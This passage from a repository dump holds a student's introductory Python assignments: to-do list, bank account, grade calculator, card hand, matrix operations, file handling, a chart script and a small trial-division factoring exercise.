[] 24 | for i in ToDoList: 25 | tempList.append(i[1]) 26 | for i in tempList: 27 | if i == taskName: 28 | return True 29 | 30 | 31 | def takeSecond(element): 32 | return element[1] 33 | 34 | 35 | def printListItems(): 36 | global ToDoList 37 | for i,element in enumerate(ToDoList, 0): 38 | print(f"{i}. {element[0]} - {element[1]}") 39 | 40 | 41 | def removeListItems(): 42 | global ToDoList 43 | DelTuple = int(input("Enter the index of the task you would like to delete: ")) 44 | del ToDoList[DelTuple] 45 | print("The task was successfuly removed.") 46 | 47 | 48 | 49 | 50 | 51 | 52 | ToDoList = [] 53 | while True: 54 | print("________________________________________________________________________________") 55 | print("Options are as below:") 56 | print("---->\t1. Enter a new To Do item") 57 | print("---->\t2. Print the list of all To Do items") 58 | print("---->\t3. Remove a To do items") 59 | print("---->\t4. exit the program") 60 | enter = str(input("What would you like to do(1,2,3 or 4)? ")) 61 | if enter == "4": 62 | print("you exited the program.") 63 | break 64 | elif enter == "1": 65 | taskName = addNewItems() 66 | elif enter == "2": 67 | printListItems() 68 | elif enter == "3": 69 | removeListItems() 70 | -------------------------------------------------------------------------------- /bank_account_management.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | class BankAccount: 3 | def __init__(self, balance=0): 4 | self.balance = balance 5 | self.transaction_history = [] 6 | 7 | def get_balance(self): 8 | return self.balance 9 | 10 | def set_balance(self, balance): 11 | assert isinstance(balance, int), "You must enter a number" 12 | assert balance > -1, "Balance cannot be negative" 13 | self.balance = balance 14 | 15 | def get_transaction_history(self): 16 | return self.transaction_history 17 | 18 | def set_transaction_history(self, transaction_history): 19 | self.transaction_history = transaction_history 20 | 21 | def get_avg_transaction(self): 22 | assert self.transaction_history, "No transactions have been made" 23 | total = sum(self.transaction_history) 24 | return total / len(self.transaction_history) 25 | 26 | def deposit(self, amount): 27 | assert isinstance(amount, int), "You must enter a number" 28 | assert amount > 0, "Error: Not greater than zero" 29 | self.balance = self.balance + amount 30 | self.transaction_history.append(amount) 31 | 32 | def withdraw(self, amount): 33 | assert isinstance(amount, int), "You must enter a number" 34 | assert amount > 0, "Withdrawn amount must be greater than 0" 35 | assert amount <= self.balance, "Error: Not greater than the balance" 36 | self.balance = self.balance - amount 37 | self.transaction_history.append(-amount) 38 | 39 | 40 | def main(): 41 | print("Creating the bank account:") 42 | bank_account = BankAccount(200) 43 | print("\t") 44 | print("Getting the average transactions (first time)") 45 | try: 46 | print(bank_account.get_avg_transaction()) 47 | except AssertionError as assertion: 48 | print(assertion) 49 | print("\t") 50 | print("Depositing money") 51 | try: 52 | bank_account.deposit(-50) 53 | except AssertionError as assertion: 54 | print(assertion) 55 | print("\t") 56 | print("Depositing money") 57 | try: 58 | bank_account.deposit("not a number") 59 | except AssertionError as assertion: 60 | print(assertion) 61 | print("\t") 62 | print("Withdrawing money") 63 | try: 64 | bank_account.withdraw("not a number") 65 | except AssertionError as assertion: 66 | print(assertion) 67 | print("\t") 68 | print("Withdrawing money") 69 | try: 70 | bank_account.withdraw(300) 71 | except AssertionError as assertion: 72 | print(assertion) 73 | print("\t") 74 | print("Getting the average transactions (second time)") 75 | try: 76 | print(bank_account.get_avg_transaction()) 77 | except AssertionError as assertion: 78 | print(assertion) 79 | print("\t") 80 | print("Balance:", bank_account.get_balance()) 81 | 82 | if __name__ == '__main__': 83 | main() 84 | -------------------------------------------------------------------------------- /blinking_text.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | #question 1 3 | import tkinter as tk 4 | 5 | class BlinkingText: 6 | def __init__(self, master): 7 | self.master = master 8 | self.master.title('Flashing text') 9 | self.canvas = tk.Canvas(self.master , width = 200, height = 100, bg = 'white') 10 | self.canvas.pack() 11 | self.text_item = self.canvas.create_text(100 , 50 , text = 'Stay Strong!' , fill = 'black') 12 | self.text_color = 'white' 13 | self.blink() 14 | 15 | def blink(self): 16 | if self.text_color == 'white': 17 | self.canvas.itemconfigure(self.text_item, fill='black') 18 | self.text_color = 'black' 19 | else: 20 | self.canvas.itemconfigure(self.text_item, fill='white') 21 | self.text_color = 'white' 22 | self.master.after(500, self.blink) 23 | 24 | root_window = tk.Tk() 25 | blinking_text = BlinkingText(root_window) 26 | root_window.mainloop() 27 | -------------------------------------------------------------------------------- /calc_average_and_determine_grade.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 # Question 3 2 | def calc_average(): 3 | a = int(input("Enter marks out of 100: ")) 4 | b = int(input("Enter marks out of 100: ")) 5 | c = int(input("Enter marks out of 100: ")) 6 | d = int(input("Enter marks out of 100: ")) 7 | e = int(input("Enter marks out of 100: ")) 8 | f = a + b + c + d + e 9 | g = f // 5 10 | print(g) 11 | 12 | 13 | def determine_grade(): 14 | marks = int(input("Enter marks to convert into grades: ")) 15 | if marks >= 90: 16 | grade = "A" 17 | elif 80 <= marks <= 89: 18 | grade = "B" 19 | elif 70 <= marks <= 79: 20 | grade = "C" 21 | elif 60 <= marks <= 69: 22 | grade = "D" 23 | else: 24 | grade = "Fail" 25 | print(grade) 26 | 27 | calc_average() 28 | determine_grade() -------------------------------------------------------------------------------- /calculate_compound_interest.py: -------------------------------------------------------------------------------- 1 | # Purva Patel #100886734 # Question 5 2 | def bal(): 3 | iv = int(input("enter the initial value: ")) 4 | r = int(input("enter the rate of intrest: ")) 5 | y = int(input("enter the number of years: ")) 6 | step1 = r/100 7 | step2 = 1 + step1 8 | step3 = step2**y 9 | step4 = step3*iv 10 | return step4 11 | 12 | print(bal()) -------------------------------------------------------------------------------- /car_with_engine.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | #question 5 3 | class Engine: 4 | def __init__(self, power, volume): 5 | self.power = power 6 | self.volume = volume 7 | 8 | def __str__(self): 9 | return f"The engine has {self.power} horsepower and {self.volume} liters Volume" 10 | 11 | 12 | class Car: 13 | def __init__(self, name, color, engine): 14 | self.name = name 15 | self.color = color 16 | self.engine = engine 17 | 18 | def __str__(self): 19 | return f"This is a {self.color} {self.name}" 20 | 21 | 22 | def main(): 23 | MyEngine = Engine(200, 2000) 24 | MyCar = Car("Audi", "white", MyEngine) 25 | print(MyEngine) 26 | print(MyCar) 27 | 28 | 29 | if __name__ == "__main__": 30 | main() 31 | -------------------------------------------------------------------------------- /card_hand.py: -------------------------------------------------------------------------------- 1 | #Assignment-3 #Question-2 2 | 3 | class CardHand: 4 | def __init__(self): 5 | # Initialize an empty list to store cards and set up the "fingers" list with None for each suit 6 | self.cards = [] 7 | self.fingers = [None] * 4 8 | 9 | def add_card(self, r, s): 10 | # Add a new card with rank r and suit s to the hand 11 | card = (r, s) 12 | suit_index = self._get_suit_index(s) 13 | if suit_index is None: 14 | # If this is the first card of this suit, update the "finger" for that suit 15 | self.fingers[self._suit_to_index(s)] = len(self.cards) 16 | self.cards.append(card) 17 | 18 | def play(self, s): 19 | # Remove and return a card of suit s from the player's hand, or an arbitrary card if not found 20 | suit_index = self._get_suit_index(s) 21 | if suit_index is None: 22 | return self.cards.pop() 23 | else: 24 | return self.cards.pop(self.fingers[suit_index]) 25 | 26 | def __iter__(self): 27 | # Enable iteration through all cards currently in the hand 28 | return iter(self.cards) 29 | 30 | def all_of_suit(self, s): 31 | # Iterate through all cards of suit s that are currently in the hand 32 | suit_index = self._get_suit_index(s) 33 | if suit_index is None: 34 | # If the suit is not found, return an empty iterator 35 | return iter([]) 36 | else: 37 | return iter(self.cards[self.fingers[suit_index]:self.fingers[suit_index+1]]) 38 | 39 | def _get_suit_index(self, s): 40 | # Helper method to get the index of the first card of a given suit in the "fingers" list 41 | try: 42 | return self.fingers[self._suit_to_index(s)] 43 | except TypeError: 44 | # If the suit is not valid, return None 45 | return None 46 | 47 | @staticmethod 48 | def _suit_to_index(s): 49 | # Helper method to convert the suit name to its corresponding index 50 | suits = {'hearts': 0, 'clubs': 1, 'spades': 2, 'diamonds': 3} 51 | return suits.get(s.lower(), None) 52 | 53 | 54 | def main(): 55 | # Main function to test the CardHand class 56 | 57 | hand = CardHand() 58 | 59 | # Add cards to the hand 60 | hand.add_card('9', 'hearts') 61 | hand.add_card('K', 'clubs') 62 | hand.add_card('7', 'spades') 63 | hand.add_card('4', 'hearts') 64 | 65 | # Iterate through and print all cards in the hand 66 | for card in hand: 67 | print(f"{card[0]} of {card[1]}") 68 | 69 | # Play cards from the hand and print the result 70 | print("Playing a spade:", hand.play('spades')) 71 | print("Playing a diamond:", hand.play('diamonds')) 72 | 73 | # Print the remaining cards in the hand after playing 74 | print("\nRemaining cards in the hand:") 75 | for card in hand: 76 | print(f"{card[0]} of {card[1]}") 77 | 78 | # Print all cards of hearts in the hand 79 | print("\nAll cards of hearts:") 80 | for card in hand.all_of_suit('hearts'): 81 | print(f"{card[0]} of {card[1]}") 82 | 83 | # Call the main function to run the test 84 | if __name__ == "__main__": 85 | main() 86 | -------------------------------------------------------------------------------- /countWords.py: -------------------------------------------------------------------------------- 1 | def countWords(arg): 2 | words = arg.split(" ") 3 | Totalrepetation = {} 4 | for i in words: 5 | if i in Totalrepetation: 6 | Totalrepetation[i] += 1 7 | else: 8 | Totalrepetation[i] = 1 9 | return Totalrepetation 10 | 11 | print(countWords("Apple Mango Orange Mango Guava Guava Mango")) 12 | print(countWords("Train Bus Bus Train Taxi Aeroplane Taxi Bus")) -------------------------------------------------------------------------------- /count_unique_characters.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | def count_unique_chars(String): 3 | chars = {} 4 | for i in String: 5 | if i not in chars: 6 | chars[i] = 1 7 | return len(chars) 8 | 9 | while True: 10 | try: 11 | String = input("type your input here: ") 12 | count = count_unique_chars(String) 13 | print(f"The total number of unique characters are: {count}") 14 | except: 15 | print("Invalid input") 16 | 17 | -------------------------------------------------------------------------------- /dictionary.py: -------------------------------------------------------------------------------- 1 | def main(): 2 | keywordsList = ["and","del","global","while","for","for","in","else","print","return","import","if","else","break","continue","elif","del","while","for","else"] 3 | dictionary = {} 4 | count = 0 5 | for key in keywordsList: 6 | if key not in dictionary: 7 | dictionary[key] = 1 8 | else: 9 | count = dictionary[key] 10 | count+=1 11 | dictionary[key] = count 12 | sorted_dictionary = dict(sorted(dictionary.items(),key=lambda y:[1],reverse= True)) 13 | print("Keyword_name count") 14 | for key,value in sorted_dictionary.items(): 15 | print(str(key).ljust(14),str(value)) 16 | 17 | 18 | 19 | 20 | main() 21 | -------------------------------------------------------------------------------- /dwelling_hierarchy.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | class Dwelling: 3 | def __init__(self, typeOfDwelling, value, rooms): 4 | self.typeOfDwelling = typeOfDwelling 5 | self.value = value 6 | self.rooms = rooms 7 | 8 | def printData(self): 9 | print(f"Dwelling Type:{self.typeOfDwelling}") 10 | print(f"Value:{str(self.value)}") 11 | print(f"Rooms:{str(self.rooms)}") 12 | 13 | def get_dwellingType(self): 14 | return self.typeOfDwelling 15 | 16 | def __str__(self): 17 | return f"Dwelling Type:{self.typeOfDwelling} \nValue:{str(self.value)} \nRooms:{str(self.rooms)}" 18 | 19 | class House(Dwelling): 20 | def __init__(self, typeOfDwelling, value, rooms, address, numOfFloors): 21 | super().__init__(typeOfDwelling, value, rooms) 22 | self.address = address 23 | self.numOfFloors = numOfFloors 24 | 25 | def printData(self): 26 | super().printData() 27 | print(f"Address:{self.address}") 28 | print(f"NumberOfFloors:{str(self.numOfFloors)}") 29 | 30 | def __str__(self): 31 | return super().__str__() + f"\nAddress:{self.address} \nNumberOfFloors:{str(self.numOfFloors)}" 32 | 33 | 34 | class Apartment(Dwelling): 35 | def __init__(self, typeOfDwelling, value, rooms, address, apartmentNumber): 36 | super().__init__(typeOfDwelling, value, rooms) 37 | self.address = address 38 | self.apartmentNumber = apartmentNumber 39 | 40 | def printData(self): 41 | super().printData() 42 | print(f"Address:{self.address}") 43 | print(f"ApartmentNumber:{str(self.apartmentNumber)}") 44 | 45 | def __str__(self): 46 | return super().__str__() + f"\nAddress:{self.address} \nApartmentNumber:{str(self.apartmentNumber)}" 47 | 48 | 49 | if __name__ == "__main__": 50 | house = House("House", 800, 100, "1911 Simcoe St", 4) 51 | apartment = Apartment("Apartment", 500, 1, "100 York St", 3087) 52 | print(house.get_dwellingType()) 53 | house.printData() 54 | print("\t") 55 | print(house) 56 | print("\t") 57 | print(apartment.get_dwellingType()) 58 | apartment.printData() 59 | print("\t") 60 | print(apartment) 61 | -------------------------------------------------------------------------------- /factorFinder.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | n = 62615533 4 | e = 31 5 | 6 | print(f"Given n = {n}") 7 | 8 | p, q = None, None 9 | for i in range(2, int(math.sqrt(n)) + 1): 10 | if n % i == 0: # If i divides n, it is a factor 11 | p, q = i, n // i 12 | break 13 | 14 | print(f"Found factors: p = {p}, q = {q}") 15 | -------------------------------------------------------------------------------- /family_benefits.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 # Question 2 2 | def fin(): 3 | a = int(input("Enter the family income: ")) 4 | b = int(input("The number of children in family: ")) 5 | if 30000 <= a <= 40000: 6 | if b >= 3: 7 | return b*1000 8 | elif 20000 <= a <= 30000: 9 | if b >= 2: 10 | return b*1500 11 | elif a > 20000: 12 | if b >= 0: 13 | return b*1000 14 | 15 | 16 | print(fin()) 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /filehandling.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | def main(): 3 | file = open("inp_file.txt","w") 4 | file.write("Python is an interpreted, high-level, and general-purpose programming language.") 5 | file.close() 6 | Inputfile = input("Enter the input file: ") 7 | Outputfile2 = input("Enter the output file: ") 8 | print("displaying the contents of the input file...........") 9 | print("\n") 10 | if Inputfile == "inp_file.txt": 11 | file2 = open("inp_file.txt","r") 12 | print(file2.read()) 13 | print("\n") 14 | if Outputfile2 == "out_file.txt": 15 | try: 16 | file3 = open("out_file.txt","r") 17 | file3.write("Hello") 18 | except: 19 | print("out_file.txt does not exist.") 20 | file4 = open("inp_file.txt","r") 21 | file5 = open("out_file.txt","w") 22 | print("\n") 23 | print("####################After copy from input to output file####################") 24 | print("\n") 25 | a = 0 26 | b = 0 27 | for x in file4: 28 | file5.write(x) 29 | a += len(x) 30 | b += 1 31 | print(f"{b} line and {a} chars have been copied to the output file") 32 | file4.close() 33 | file5.close() 34 | print("\n") 35 | print("####################After append to the output file####################") 36 | print("\n") 37 | file6 = open("out_file.txt","a") 38 | file6.write("\nIt was created by Guido van Russum and first released in 1991.") 39 | file6.close() 40 | file6 = open("out_file.txt","r") 41 | c = 0 42 | d = 0 43 | addstr = "" 44 | for x in file6: 45 | addstr += x 46 | c += 1 47 | d += len(x) 48 | print(f"Updated count of line in the output file is: {c}") 49 | print(f"Updated count of characters in the output file is:{d}") 50 | file6.close() 51 | print("\n") 52 | print("Displaying the output of the output file.....") 53 | print("\n") 54 | file6 = open("out_file.txt","r") 55 | print(file6.read()) 56 | file6.close() 57 | 58 | 59 | 60 | 61 | main() -------------------------------------------------------------------------------- /find_min_max_values.py: -------------------------------------------------------------------------------- 1 | '''As a member of the Ontario Tech University community, I share our community's commitment to the highest standards of academic integrity and excellence in all dimensions of our work. 2 | I therefore promise that I will not lie, cheat, or use any unauthorized aids or assistance to complete any of my essays, assignments, and exams. 3 | I further promise that I will not offer any unauthorized assistance to any of my fellow students, and I promise that I will not ask any of my fellow students for unauthorized assistance. 4 | I promise that the work I submit is my own and that where I have drawn on the work of others, I have included proper attribution for my sources. 5 | Student name: Purva Patel 6 | student number: 100886734 ''' 7 | 8 | 9 | def findMinAndMax(values): 10 | min_value = values[0] 11 | max_value = values[0] 12 | for value in values: 13 | if value < min_value: 14 | min_value = value 15 | if value > max_value: 16 | max_value = value 17 | return (min_value, max_value) 18 | 19 | print(findMinAndMax([4,1,21,-7,9,13])) 20 | print(findMinAndMax([-2,4,7,3,5,11,2,9])) 21 | print(findMinAndMax([7,10,4,30,-17,52])) -------------------------------------------------------------------------------- /generate_random_numbers_to_file.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def FunctionToGenerateRandomNumber(filename, NoofNumbers): 4 | fileOpen = open(filename, "w") 5 | for i in range(NoofNumbers): 6 | randomNumberGenerate = random.randint(1, 500) 7 | fileOpen.write(f"{randomNumberGenerate}\n") 8 | fileOpen.close() 9 | 10 | NameOfFile = input("Enter the name of the file to which results should be written: ") 11 | NumberOfRandomInt = int(input("Enter the number of random numbers to be written to the file: ")) 12 | 13 | FunctionToGenerateRandomNumber(NameOfFile, NumberOfRandomInt) -------------------------------------------------------------------------------- /getLongestVowelSequenceFinder.py: -------------------------------------------------------------------------------- 1 | def isVowel(string): 2 | if string in ['a', 'e', 'i', 'o', 'u']: 3 | return True 4 | else: 5 | return False 6 | 7 | def getLongestVowelSequence(string): 8 | longestVowelInWord = "" 9 | currentVowelInword = "" 10 | for i in string: 11 | if isVowel(i): 12 | currentVowelInword = currentVowelInword + i 13 | if len(currentVowelInword) > len(longestVowelInWord): 14 | longestVowelInWord = currentVowelInword 15 | else: 16 | currentVowelInword = "" 17 | return longestVowelInWord 18 | 19 | getLongestVowelSequence("Hooiaioia is a cool word in Hawaiian") 20 | getLongestVowelSequence("Queuing is not quite as impressive") -------------------------------------------------------------------------------- /getStringInfo.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | import string 3 | def getStringInfo(*args): 4 | convertList = [*args] 5 | for a in convertList: 6 | countWords1 = a.split(" ") 7 | lengthOfString = len(a) 8 | countWordsExS = a.replace(" ","") 9 | newList1 = len([c for c in a if c.isalpha()]) 10 | newList2 = len([c for c in a if c.isdigit()]) 11 | digitCheck = a.isdigit() 12 | newList3 = len([c for c in a if c in string.punctuation]) 13 | newList4 = len([c for c in a if c.isupper()]) 14 | newList5 = len([c for c in a if c.islower()]) 15 | Uppercase = a.upper() 16 | Lowercase = a.lower() 17 | Reversecase = a.swapcase() 18 | title = a.title() 19 | 20 | 21 | 22 | 23 | print(f"# of words - {len(countWords1)}") 24 | print(f"# of Chars - {lengthOfString}") 25 | print(f"# of char (Excl. w/s) - {len(countWordsExS)}") 26 | print(f"# of letters - {newList1}") 27 | print(f"# of numbers - {newList2}") 28 | print(f"# of punctuation - {newList3}") 29 | print(f"Is number - {digitCheck}") 30 | print(f"# of Uppercase Chars - {newList4}") 31 | print(f"# of Lowercase Chars - {newList5}") 32 | print(f"Uppercase - {Uppercase}") 33 | print(f"Lowercase - {Lowercase}") 34 | print(f"Reversecase - {Reversecase}") 35 | print(f"No Space - {countWordsExS}") 36 | print(f"Title - {title}") 37 | print(f"Reversed - {a[::-1]}") 38 | print("##############################################################################################################") 39 | 40 | getStringInfo("HeLlO wOrLd!!11","Did you hear about the one-eyed one-horned Flying Purple People Eater?") -------------------------------------------------------------------------------- /graphgenerator.py: -------------------------------------------------------------------------------- 1 | import matplotlib.pyplot as plt 2 | 3 | causes = ["Lack of study and preparation", "Poor time management", "Lack of understanding of course material", "Procrastination", "Poor attendance", "Inadequate test-taking skills", "Distractions from social media and technology", "Lack of interest in the subject", "Personal/family issues", "Health problems"] 4 | frequencies = [25, 20, 15, 10, 8, 7, 5, 4, 3, 3] 5 | 6 | cumulative_frequencies = [] 7 | cumulative_frequency = 0 8 | 9 | for frequency in frequencies: 10 | cumulative_frequency += frequency 11 | cumulative_frequencies.append(cumulative_frequency) 12 | 13 | total = cumulative_frequency 14 | percentages = [100 * freq / total for freq in frequencies] 15 | cumulative_percentages = [100 * cfreq / total for cfreq in cumulative_frequencies] 16 | 17 | fig, ax1 = plt.subplots(figsize=(10, 6)) 18 | 19 | ax1.bar(causes, frequencies, color="C0") 20 | ax1.set_ylabel("Frequency", color="C0") 21 | ax1.tick_params(axis="y", labelcolor="C0") 22 | 23 | ax2 = ax1.twinx() 24 | 25 | ax2.plot(causes, cumulative_percentages, color="C1", marker="o") 26 | ax2.set_ylabel("Cumulative Percentage", color="C1") 27 | ax2.tick_params(axis="y", labelcolor="C1") 28 | 29 | ax1.set_xticklabels(causes, rotation=90) 30 | 31 | plt.title("Pareto Chart of Possible Causes for a Student to Fail a Final Examination in a University Course") 32 | plt.show() 33 | -------------------------------------------------------------------------------- /lists.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | def CheckEvenOdd(mylist): 3 | odd = [] 4 | even = [] 5 | for i in mylist: 6 | if i % 2 == 0: 7 | even.append(i) 8 | elif i % 2 != 0: 9 | odd.append(i) 10 | return odd , even 11 | 12 | def CalculateAverage(mylist): 13 | odd , even = CheckEvenOdd(mylist) 14 | o = 0 15 | e = 0 16 | for i in odd: 17 | o = o + i 18 | for i in even: 19 | e = e + i 20 | 21 | averageOdd = o // len(odd) 22 | averageEven = e // len(even) 23 | return averageEven , averageOdd 24 | 25 | 26 | def PrintResults(avgeven, avgodd): 27 | print(avgeven) 28 | print(avgodd) 29 | 30 | 31 | def CalculatePow(mylist): 32 | empty = [] 33 | for i in range(len(mylist)): 34 | pow1 = pow(mylist[i], i) 35 | empty.append(pow1) 36 | return empty 37 | 38 | 39 | 40 | Condition = True 41 | while True: 42 | mylist = [] 43 | while Condition == True: 44 | inputNumber = input("Enter number: ") 45 | if inputNumber == "-1": 46 | break 47 | else: 48 | mylist.append(int(inputNumber)) 49 | print(CheckEvenOdd(mylist)) 50 | odd , even = CalculateAverage(mylist) 51 | PrintResults(even , odd) 52 | print(CalculatePow(mylist)) 53 | inputCon = input("Would you like to continue(Y/N): ").lower() 54 | if inputCon == "n": 55 | print("You exited the program.") 56 | break 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /lists_Alternative_Approach.py: -------------------------------------------------------------------------------- 1 | def FindSum(mylist): 2 | resultlist = [] 3 | sum = 0 4 | for n in mylist: 5 | sum = n*(n+1)//2 6 | resultlist.append(sum) 7 | return resultlist 8 | 9 | 10 | def PrintResults(mylist,resultlist): 11 | for i in range(len(mylist)): 12 | print("Sum of " + str(mylist[i]) + " is: " + str(resultlist[i])) 13 | 14 | 15 | def SaveResult(mylist,resultlist): 16 | fileOpen = open("result.txt","w") 17 | stringSave = "" 18 | for i in range(len(mylist)): 19 | stringSave = "Sum of " + str(mylist[i]) + " is: " + str(resultlist[i]) + "\n" 20 | fileOpen.write(stringSave) 21 | fileOpen.close() 22 | print("Saved to the file...") 23 | 24 | 25 | while True: 26 | mylist = [] 27 | while True: 28 | try: 29 | inputNumber = int(input("Enter number: ")) 30 | if inputNumber == -1: 31 | break 32 | elif inputNumber < 0: 33 | print("enter positive number") 34 | else: 35 | mylist.append(inputNumber) 36 | except: 37 | print("Invalid input") 38 | resultlist = FindSum(mylist) 39 | PrintResults(mylist,resultlist) 40 | SaveResult(mylist,resultlist) 41 | inputCon = input("Would you like to continue(Y/N): ").lower() 42 | if inputCon == "n": 43 | print("You exited the program.") 44 | break 45 | -------------------------------------------------------------------------------- /loan_calculator.py: -------------------------------------------------------------------------------- 1 | Intrest_rate = float(input("interest rate: ")) 2 | no_years = float(input("number of years: ")) 3 | loan_amt = float(input("loan amount: ")) 4 | numerator = loan_amt * Intrest_rate 5 | months = no_years*12 6 | addition = 1 + Intrest_rate 7 | raise_to = addition ** months 8 | divide_by_one = 1 / raise_to 9 | sub_by_one = 1 - divide_by_one 10 | simplified = numerator / sub_by_one 11 | answer = simplified * no_years * 12 12 | print("Monthly Payment of the loan will be:",simplified) 13 | print("The total paymennt of the loan will be:",answer) 14 | 15 | -------------------------------------------------------------------------------- /matrix_operations.py: -------------------------------------------------------------------------------- 1 | #Assignment-2 #Question-3 2 | class Matrix: 3 | def __init__(self, rows, columns): 4 | # Initialize the Matrix object with the given number of rows and columns 5 | self.rows = rows 6 | self.columns = columns 7 | self.data = [[0] * columns for _ in range(rows)] 8 | 9 | def __str__(self): 10 | # Return a string representation of the matrix 11 | return '\n'.join([' '.join(map(str, row)) for row in self.data]) 12 | 13 | def __getitem__(self, index): 14 | # Get the value at the specified index in the matrix 15 | return self.data[index] 16 | 17 | def __setitem__(self, index, value): 18 | # Set the value at the specified index in the matrix 19 | self.data[index] = value 20 | 21 | def __add__(self, other): 22 | # Perform matrix addition with another matrix 23 | if isinstance(other, Matrix) and self.rows == other.rows and self.columns == other.columns: 24 | # Check if the other object is a Matrix and has compatible dimensions 25 | result = Matrix(self.rows, self.columns) 26 | # Create a new Matrix object to store the result 27 | for i in range(self.rows): 28 | for j in range(self.columns): 29 | # Add corresponding elements from self and other matrices 30 | result[i][j] = self[i][j] + other[i][j] 31 | return result 32 | else: 33 | raise ValueError("Cannot perform matrix addition due to incompatible dimensions.") 34 | 35 | def __mul__(self, other): 36 | # Perform matrix multiplication with another matrix 37 | if isinstance(other, Matrix) and self.columns == other.rows: 38 | # Check if the other object is a Matrix and has compatible dimensions for multiplication 39 | result = Matrix(self.rows, other.columns) 40 | # Create a new Matrix object to store the result 41 | for i in range(self.rows): 42 | for j in range(other.columns): 43 | for k in range(self.columns): 44 | # Perform the dot product of corresponding row and column elements 45 | result[i][j] += self[i][k] * other[k][j] 46 | return result 47 | else: 48 | raise ValueError("Cannot perform matrix multiplication due to incompatible dimensions.") 49 | 50 | # Function to read matrix elements from user input 51 | def read_matrix(rows, columns): 52 | # Create a new Matrix object with the given number of rows and columns 53 | matrix = Matrix(rows, columns) 54 | for i in range(rows): 55 | while True: 56 | try: 57 | # Prompt the user to enter space-separated elements for the current row 58 | row_input = input(f"Enter space-separated elements for row {i+1}: ") 59 | # Split the input by spaces and convert the elements to integers 60 | elements = list(map(int, row_input.split())) 61 | if len(elements) != columns: 62 | # Check if the number of entered elements matches the specified number of columns 63 | raise ValueError("Invalid number of elements for the row.") 64 | # Assign the elements to the current row of the matrix 65 | matrix[i] = elements 66 | break 67 | except ValueError as e: 68 | # Handle the case when the user enters an invalid number of elements 69 | print(f"Error: {e} Please enter {columns} space-separated elements.") 70 | 71 | return matrix 72 | 73 | 74 | # Create matrices 75 | while True: 76 | try: 77 | # Prompt the user to enter the number of rows and columns for the first matrix 78 | m1_rows = int(input("Enter the number of rows for the first matrix: ")) 79 | m1_columns = int(input("Enter the number of columns for the first matrix: ")) 80 | # Call the read_matrix function to read the elements of the first matrix 81 | m1 = read_matrix(m1_rows, m1_columns) 82 | break 83 | except ValueError as e: 84 | # Handle the case when the user enters invalid dimensions 85 | print(f"Error: {e} Please enter valid dimensions.") 86 | 87 | while True: 88 | try: 89 | # Prompt the user to enter the number of rows and columns for the second matrix 90 | m2_rows = int(input("Enter the number of rows for the second matrix: ")) 91 | m2_columns = int(input("Enter the number of columns for the second matrix: ")) 92 | # Call the read_matrix function to read the elements of the second matrix 93 | m2 = read_matrix(m2_rows, m2_columns) 94 | break 95 | except ValueError as e: 96 | # Handle the case when the user enters invalid dimensions 97 | print(f"Error: {e} Please enter valid dimensions.") 98 | 99 | # Addition 100 | try: 101 | # Perform matrix addition and store the result in the addition_result variable 102 | addition_result = m1 + m2 103 | print("Addition:") 104 | print(addition_result) 105 | except ValueError as e: 106 | # Handle the case when the matrices cannot be added due to incompatible dimensions 107 | print(e) 108 | 109 | # Multiplication 110 | try: 111 | # Perform matrix multiplication and store the result in the multiplication_result variable 112 | multiplication_result = m1 * m2 113 | print("Multiplication:") 114 | print(multiplication_result) 115 | except ValueError as e: 116 | # Handle the case when the matrices cannot be multiplied due to incompatible dimensions 117 | print(e) 118 | -------------------------------------------------------------------------------- /myPythonProject.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | 4 | def search_website(query, url): 5 | search_url = f"https://www.google.com/search?q=site%3A{url}+{query}" 6 | response = requests.get(search_url) 7 | soup = BeautifulSoup(response.content, 'html.parser') 8 | results = soup.find_all('div', class_='BNeawe s3v9rd AP7Wnd') 9 | return results 10 | 11 | query = input("Enter the data you want: ") 12 | url = 'wikipedia.org' 13 | results = search_website(query, url) 14 | 15 | for result in results: 16 | print(result.get_text()) 17 | 18 | 19 | '''import requests - imports the Python requests module, which is used to send HTTP requests to a website and receive responses. 20 | from bs4 import BeautifulSoup - imports the BeautifulSoup class from the Python bs4 module, which is used to parse HTML and XML documents. 21 | def search_website(query, url): - defines a function named search_website that takes two parameters, query and url. 22 | search_url = f"https://www.google.com/search?q=site%3A{url}+{query}" - creates a search URL by formatting the url and query parameters into a Google search query string. 23 | response = requests.get(search_url) - sends a GET request to the search URL and saves the response in the response variable. 24 | soup = BeautifulSoup(response.content, 'html.parser') - creates a BeautifulSoup object from the response content, which is the HTML of the search results page. 25 | results = soup.find_all('div', class_='BNeawe s3v9rd AP7Wnd') - finds all the HTML div elements that have both the BNeawe, s3v9rd, and AP7Wnd classes and saves them in the results variable. 26 | return results - returns the results variable from the search_website function. 27 | query = 'chat gpt' - sets the query variable to the string 'chat gpt'. 28 | url = 'wikipedia.org' - sets the url variable to the string 'wikipedia.org'. 29 | results = search_website(query, url) - calls the search_website function with the query and url parameters and saves the results in the results variable. 30 | for result in results: - loops through each result in the results list. 31 | print(result.get_text()) - prints the text content of each result by calling the get_text() method on the result object.''' 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /number_comparison.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | 3 | class Lab1: 4 | def __init__(self, first = 0, second = 0, third = 0): 5 | self.first = first 6 | self.second = second 7 | self.third = third 8 | self.numList = [first, second, third] 9 | for i in self.numList: 10 | if not isinstance(i,int): 11 | print("Numbers are not in Integer format") 12 | return 0 13 | 14 | def firstGreaterThanSecond(self): 15 | return self.compareNum(self.first, self.second) 16 | 17 | def firstGreaterThanThird(self): 18 | return self.compareNum(self.first, self.third) 19 | 20 | def secondGreaterThanFirst(self): 21 | return self.compareNum(self.second, 